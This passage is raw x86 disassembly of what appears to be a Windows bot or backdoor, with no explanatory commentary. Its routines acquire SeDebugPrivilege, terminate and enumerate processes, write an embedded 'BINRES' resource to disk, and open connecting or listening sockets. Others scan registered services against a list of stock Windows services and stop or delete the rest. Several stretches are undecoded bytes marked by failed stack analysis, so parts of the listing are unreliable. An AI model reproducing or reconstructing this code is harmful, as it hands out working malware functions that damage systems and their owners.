sub_41FB90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC30: ; CODE XREF: ___:loc_401965j push esi xor esi, esi push offset sub_401AD2 mov ecx, offset byte_44991F mov dword_50DB18, 20h mov dword_50DB1C, 2 mov dword_50DB20, 3 mov dword_50DB24, esi mov dword_50DB28, esi mov dword_50DB2C, esi mov dword_50DB30, esi call sub_4017EE push eax nop call near ptr 2900514h cmp eax, esi mov dword_50DB3C, eax jz short loc_41FCAA push offset dword_50DB18 push eax mov dword_50DB1C, 4 mov dword_50DB2C, esi mov dword_50DB30, esi nop call near ptr 290083Eh loc_41FCAA: ; CODE XREF: ___:0041FC86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FCD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F068 mov eax, esi pop esi retn sub_41FCD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD00 proc near ; CODE XREF: sub_401CF3j var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50DB38, ecx push 100h mov ecx, offset byte_44991F call sub_4017EE push eax lea eax, [esp+118h+var_100] push eax nop call near ptr 77C47A90h add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401965 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax nop call near ptr 2900000h xor eax, eax add esp, 110h retn sub_41FD00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FD80: ; CODE XREF: ___:00401C44j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FDA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDA2: ; CODE XREF: ___:0041FD9Aj mov ecx, [esp+18h] push ecx nop call near ptr 2890000h mov esi, eax test esi, esi jnz short loc_41FDB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDB9: ; CODE XREF: ___:0041FDB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi call near ptr 27904A5h nop mov edi, eax test edi, edi jnz short loc_41FDDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDDC: ; CODE XREF: ___:0041FDD4j push ebp push edi push esi call near ptr 2790B22h nop push edi push esi mov ebp, eax nop call near ptr 27A0000h push ebp mov esi, eax nop call near ptr 27A0407h push ebx push esi push 1 push eax nop call near ptr 77C4173Bh push ebx call near ptr 77C40AB1h nop add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40188Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41FE78 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_41FE71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FE71: ; CODE XREF: sub_41FE50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FE78: ; CODE XREF: sub_41FE50+Fj pop esi retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE90 proc near ; CODE XREF: sub_401AA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FEAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEAE: ; CODE XREF: sub_41FE90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40188E add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_41FF0A push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF0A: ; CODE XREF: sub_41FE90+69j mov eax, esi pop esi add esp, 10h retn sub_41FE90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF50 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FF6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF6E: ; CODE XREF: sub_41FF50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_41FFC0 push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FFC0: ; CODE XREF: sub_41FF50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FF50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FFF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_420024 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh jnz short loc_420027 loc_420024: ; CODE XREF: sub_41FFF0+14j or eax, 0FFFFFFFFh loc_420027: ; CODE XREF: sub_41FFF0+32j pop esi add esp, 10h retn sub_41FFF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420040 proc near ; CODE XREF: sub_402009j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_420076 mov esi, [esp+8+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_420076 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh jnz short loc_420079 loc_420076: ; CODE XREF: sub_420040+8j ; sub_420040+1Aj or eax, 0FFFFFFFFh loc_420079: ; CODE XREF: sub_420040+34j pop edi pop esi retn sub_420040 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_420090 proc near ; CODE XREF: sub_401604j var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_437B30 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_4382BC ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4200C3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_4200C3: ; CODE XREF: sub_420090+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42018D push ebx mov ebx, dword_5117E0 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_4200E5: ; CODE XREF: sub_420090+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420177 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_4382B6 ; --------------------------------------------------------------------------- test eax, eax jz short loc_420170 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_4382B0 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h dd 500D75C0h, 1DFE856h, 0C6900237h, 1132444h ; --------------------------------------------------------------------------- loc_420170: ; CODE XREF: sub_420090+A2j push esi call near ptr 284070Bh nop loc_420177: ; CODE XREF: sub_420090+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_4200E5 pop edi pop esi pop ebp pop ebx loc_42018D: ; CODE XREF: sub_420090+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_420090 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4201F0 proc near ; CODE XREF: sub_401A0Aj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4201F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401870 push eax mov [esp+464h+var_4], 0 call sub_401EAB add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42036A lea ecx, [esp+460h+var_43C] call sub_40142E push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_40168B push eax push 80000002h nop call near ptr 2940000h mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx call near ptr 28F0000h nop lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_5119E0 mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_444AEC ; "\\" nop call near ptr 76085AE4h inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 call near ptr 760976AFh nop lea ecx, [esp+4A4h+var_490] call near ptr 7608B84Ch nop push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE1366E8h, 0E850FFh, 90023C0Ah, 14244C8Dh dd 5C249C88h, 0E8000004h, 75C6F149h, 244C8D90h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42036A: ; CODE XREF: sub_4201F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4201F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420400 proc near ; CODE XREF: sub_401EABj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2910B29h mov ebx, eax test ebx, ebx jnz short loc_420425 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420425: ; CODE XREF: sub_420400+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push ebx nop call near ptr 28B0466h mov esi, eax test esi, esi jnz short loc_420450 push ebx nop call near ptr 292029Dh pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420450: ; CODE XREF: sub_420400+3Fj push ebp push edi mov edi, dword_511748 push esi call edi push esi call edi mov ebp, dword_511744 lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_511754 call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420400 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4204D0 proc near ; CODE XREF: sub_4018B6j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h nop call near ptr 27902EDh push eax call near ptr 28D16C1h nop mov ebp, dword_511720 mov edi, dword_5118E0 test eax, eax jnz short loc_420520 lea ecx, [esp+38h+var_28] push ecx push 28h nop call near ptr 279033Ch push eax nop call near ptr 28D1CF8h test eax, eax jz short loc_42057F loc_420520: ; CODE XREF: sub_4204D0+36j cmp [esp+38h+var_28], esi jz short loc_420583 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 28E0000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420578 nop call near ptr 27C08B7h cmp eax, 514h jnz short loc_420583 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42057D ; --------------------------------------------------------------------------- loc_420578: ; CODE XREF: sub_4204D0+92j mov edx, [esp+38h+var_28] push edx loc_42057D: ; CODE XREF: sub_4204D0+A6j call edi loc_42057F: ; CODE XREF: sub_4204D0+4Ej mov [esp+38h+var_28], esi loc_420583: ; CODE XREF: sub_4204D0+54j ; sub_4204D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h nop call near ptr 2700000h mov esi, eax test esi, esi jz short loc_4205A8 push 0 push esi nop call near ptr 2790349h push esi mov bl, 1 call edi loc_4205A8: ; CODE XREF: sub_4204D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4205C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4205C7: ; CODE XREF: sub_4204D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4204D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420630 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420630 push eax mov eax, 1130h mov large fs:0, esp call sub_437B30 push esi push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 2890000h nop test eax, eax mov dword_50DB40, eax jnz short loc_42067C push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 27E09C7h test eax, eax mov dword_50DB40, eax jz loc_4207FA loc_42067C: ; CODE XREF: sub_420630+32j mov esi, dword_511918 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50DB44, eax mov eax, dword_50DB40 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50DB40 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50DB48, eax call esi mov ecx, dword_50DB44 mov dword_50DB4C, eax test ecx, ecx jz loc_4207FA mov edx, dword_50DB48 test edx, edx jz loc_4207FA test eax, eax jz loc_4207FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4207FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4207E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_5117E0 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42073F: ; CODE XREF: sub_420630+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4207CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50DB48 test eax, eax jz short loc_4207C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50DB4C lea ecx, [esp+74h+var_54] call sub_401875 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015E1 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402185 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A82 loc_4207C6: ; CODE XREF: sub_420630+136j push esi nop call near ptr 284070Bh loc_4207CD: ; CODE XREF: sub_420630+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42073F pop ebp pop ebx loc_4207E1: ; CODE XREF: sub_420630+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4207FA: ; CODE XREF: sub_420630+46j ; sub_420630+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420630 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208A0 proc near ; CODE XREF: sub_401875j push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_4208A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4208C0 proc near ; CODE XREF: sub_401A82j jmp sub_401226 sub_4208C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208E0 proc near ; CODE XREF: sub_402162j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4208E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 2910B29h mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42092F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42092F: ; CODE XREF: sub_4208E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_445324 mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset off_44530C mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_40142E lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_511718 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx nop call near ptr 77C2C407h add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420C8F mov ebp, dword_511764 loc_420B6B: ; CODE XREF: sub_4208E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420B97 lea esi, [esp+524h+var_4E0] loc_420B78: ; CODE XREF: sub_4208E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420C73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420B78 loc_420B97: ; CODE XREF: sub_4208E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_40168B push eax push 80000002h call ebp cmp eax, ebx jz short loc_420BE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420BE3: ; CODE XREF: sub_4208E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 28F0000h cmp eax, ebx jz short loc_420C1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420C1D: ; CODE XREF: sub_4208E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420C3A: ; CODE XREF: sub_4208E0+301j ; sub_4208E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014D3 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420C73: ; CODE XREF: sub_4208E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420B6B mov ebp, [esp+524h+var_4FC] loc_420C8F: ; CODE XREF: sub_4208E0+27Fj push ebp nop call near ptr 292029Dh lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4208E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420DD0 proc near ; CODE XREF: sub_4015F5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 2890000h push eax nop call near ptr 2881331h mov eax, esi pop esi retn sub_420DD0 endp ; 